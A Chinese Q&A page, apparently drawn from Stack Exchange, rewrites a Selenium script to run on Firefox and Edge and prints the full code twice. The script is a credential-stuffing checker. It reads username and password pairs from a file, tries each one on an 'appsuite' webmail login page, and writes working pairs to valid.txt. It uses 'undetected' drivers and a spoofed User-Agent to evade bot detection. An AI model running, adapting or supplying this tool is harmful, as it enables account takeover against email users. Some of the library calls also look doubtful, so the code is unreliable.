如何将Chrome版Selenium Python代码适配为Firefox和Edge浏览器
适配Firefox和Edge的Selenium代码改写
一、适配Firefox浏览器
先安装依赖包:
pip install undetected-geckodriver selenium
改写后的完整代码:
import undetected_geckodriver as uc from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.firefox.options import Options import time import re firefox_options = Options() firefox_options.add_argument("User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36") firefox_options.headless = False driver = uc.Firefox(options=firefox_options) accounts = [] with open('acc.txt', encoding='utf-8') as f: for account in f.readlines(): account = account.strip().split('<>') accounts.append({ 'username': account[0], 'password': account[1] }) for account in accounts: try: driver.get("https://URL/appsuite/") time.sleep(3) username = driver.find_element(By.ID, 'io-ox-login-username') username.send_keys(account['username']) time.sleep(1) continue_button = driver.find_element(By.ID, 'io-ox-login-button') continue_button.click() time.sleep(1) password = driver.find_element(By.ID, 'io-ox-login-password') password.send_keys(account['password']) time.sleep(1) login_button = driver.find_element(By.ID, 'io-ox-login-button') time.sleep(1) login_button.click() time.sleep(2) print(driver.title) if driver.title != 'Sign in - Professional Email': with open('valid.txt', 'a', encoding='utf-8') as f: f.write(f"{account['username']}<>{account['password']}\n") else: with open('invalid.txt', 'a', encoding='utf-8') as f: f.write(f"{account['username']}<>{account['password']}\n") time.sleep(1) driver.delete_all_cookies() time.sleep(1) driver.delete_all_cookies() except Exception as e: print(e) driver.quit()
二、适配Edge浏览器
先安装依赖包:
pip install undetected-chromedriver selenium
改写后的完整代码:
import undetected_chromedriver as uc from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.edge.options import Options import time import re edge_options = Options() edge_options.add_argument("User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36") edge_options.headless = False # 若Edge未在系统默认路径,需指定浏览器可执行文件位置 # edge_options.binary_location = r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" driver = uc.Edge(options=edge_options, use_subprocess=True) accounts = [] with open('acc.txt', encoding='utf-8') as f: for account in f.readlines(): account = account.strip().split('<>') accounts.append({ 'username': account[0], 'password': account[1] }) for account in accounts: try: driver.get("https://URL/appsuite/") time.sleep(3) username = driver.find_element(By.ID, 'io-ox-login-username') username.send_keys(account['username']) time.sleep(1) continue_button = driver.find_element(By.ID, 'io-ox-login-button') continue_button.click() time.sleep(1) password = driver.find_element(By.ID, 'io-ox-login-password') password.send_keys(account['password']) time.sleep(1) login_button = driver.find_element(By.ID, 'io-ox-login-button') time.sleep(1) login_button.click() time.sleep(2) print(driver.title) if driver.title != 'Sign in - Professional Email': with open('valid.txt', 'a', encoding='utf-8') as f: f.write(f"{account['username']}<>{account['password']}\n") else: with open('invalid.txt', 'a', encoding='utf-8') as f: f.write(f"{account['username']}<>{account['password']}\n") time.sleep(1) driver.delete_all_cookies() time.sleep(1) driver.delete_all_cookies() except Exception as e: print(e) driver.quit()
核心修改点
- 替换浏览器配置类:将
ChromeOptions对应替换为Firefox/Edge的Options - 替换驱动初始化方法:
uc.Chrome改为uc.Firefox或uc.Edge - 简化账号读取逻辑:用
strip()替代split('\n')[0],代码更简洁
内容的提问来源于stack exchange,提问作者Steve Conder
相关产品推荐
相关产品推荐

